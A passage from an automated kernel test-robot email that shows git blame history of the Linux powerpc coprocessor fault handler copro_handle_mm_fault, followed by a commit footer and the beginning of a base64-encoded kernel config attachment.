7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   31  /*
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   32   * This ought to be kept in sync with the powerpc specific do_page_fault
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   33   * function. Currently, there are a few corner cases that we haven't had
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   34   * to handle fortunately.
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   35   */
e83d01697 arch/powerpc/mm/copro_fault.c           Ian Munsie         2014-10-08  @36  int copro_handle_mm_fault(struct mm_struct *mm, unsigned long ea,
7c71e54a4 arch/powerpc/mm/copro_fault.c           Souptick Joarder   2018-06-15   37  		unsigned long dsisr, vm_fault_t *flt)
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   38  {
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   39  	struct vm_area_struct *vma;
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   40  	unsigned long is_write;
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   41  	int ret;
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   42  
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   43  	if (mm == NULL)
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   44  		return -EFAULT;
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   45  
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   46  	if (mm->pgd == NULL)
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   47  		return -EFAULT;
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   48  
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   49  	down_read(&mm->mmap_sem);
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   50  	ret = -EFAULT;
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   51  	vma = find_vma(mm, ea);
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   52  	if (!vma)
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   53  		goto out_unlock;
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   54  
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   55  	if (ea < vma->vm_start) {
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   56  		if (!(vma->vm_flags & VM_GROWSDOWN))
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   57  			goto out_unlock;
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   58  		if (expand_stack(vma, ea))
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   59  			goto out_unlock;
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   60  	}
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   61  
e83d01697 arch/powerpc/mm/copro_fault.c           Ian Munsie         2014-10-08   62  	is_write = dsisr & DSISR_ISSTORE;
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   63  	if (is_write) {
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   64  		if (!(vma->vm_flags & VM_WRITE))
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   65  			goto out_unlock;
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   66  	} else {
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   67  		if (!(vma->vm_flags & (VM_READ | VM_EXEC)))
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   68  			goto out_unlock;
842915f56 arch/powerpc/mm/copro_fault.c           Mel Gorman         2015-02-12   69  		/*
18061c17c arch/powerpc/mm/copro_fault.c           Aneesh Kumar K.V   2017-01-30   70  		 * PROT_NONE is covered by the VMA check above.
18061c17c arch/powerpc/mm/copro_fault.c           Aneesh Kumar K.V   2017-01-30   71  		 * and hash should get a NOHPTE fault instead of
18061c17c arch/powerpc/mm/copro_fault.c           Aneesh Kumar K.V   2017-01-30   72  		 * a PROTFAULT in case fixup is needed for things
18061c17c arch/powerpc/mm/copro_fault.c           Aneesh Kumar K.V   2017-01-30   73  		 * like autonuma.
842915f56 arch/powerpc/mm/copro_fault.c           Mel Gorman         2015-02-12   74  		 */
18061c17c arch/powerpc/mm/copro_fault.c           Aneesh Kumar K.V   2017-01-30   75  		if (!radix_enabled())
842915f56 arch/powerpc/mm/copro_fault.c           Mel Gorman         2015-02-12   76  			WARN_ON_ONCE(dsisr & DSISR_PROTFAULT);
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   77  	}
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   78  
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   79  	ret = 0;
dcddffd41 arch/powerpc/mm/copro_fault.c           Kirill A. Shutemov 2016-07-26   80  	*flt = handle_mm_fault(vma, ea, is_write ? FAULT_FLAG_WRITE : 0);
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   81  	if (unlikely(*flt & VM_FAULT_ERROR)) {
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   82  		if (*flt & VM_FAULT_OOM) {
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   83  			ret = -ENOMEM;
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   84  			goto out_unlock;
33692f275 arch/powerpc/mm/copro_fault.c           Linus Torvalds     2015-01-29   85  		} else if (*flt & (VM_FAULT_SIGBUS | VM_FAULT_SIGSEGV)) {
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   86  			ret = -EFAULT;
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   87  			goto out_unlock;
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   88  		}
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   89  		BUG();
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   90  	}
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   91  
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   92  	if (*flt & VM_FAULT_MAJOR)
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   93  		current->maj_flt++;
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   94  	else
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   95  		current->min_flt++;
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   96  
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   97  out_unlock:
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20   98  	up_read(&mm->mmap_sem);
60ee03194 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2009-02-17   99  	return ret;
7cd58e438 arch/powerpc/platforms/cell/spu_fault.c Jeremy Kerr        2007-12-20  100  }
e83d01697 arch/powerpc/mm/copro_fault.c           Ian Munsie         2014-10-08  101  EXPORT_SYMBOL_GPL(copro_handle_mm_fault);
73d16a6e0 arch/powerpc/mm/copro_fault.c           Ian Munsie         2014-10-08  102  

:::::: The code at line 36 was first introduced by commit
:::::: e83d01697583d8610d1d62279758c2a881e3396f powerpc/cell: Move spu_handle_mm_fault() out of cell platform

:::::: TO: Ian Munsie <imunsie-8fk3Idey6ehBDgjK7y7TUQ@public.gmane.org>
:::::: CC: Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org>

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

--mP3DRpeJDSE+ciuQ
Content-Type: application/gzip
Content-Disposition: attachment; filename=".config.gz"
Content-Transfer-Encoding: base64

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
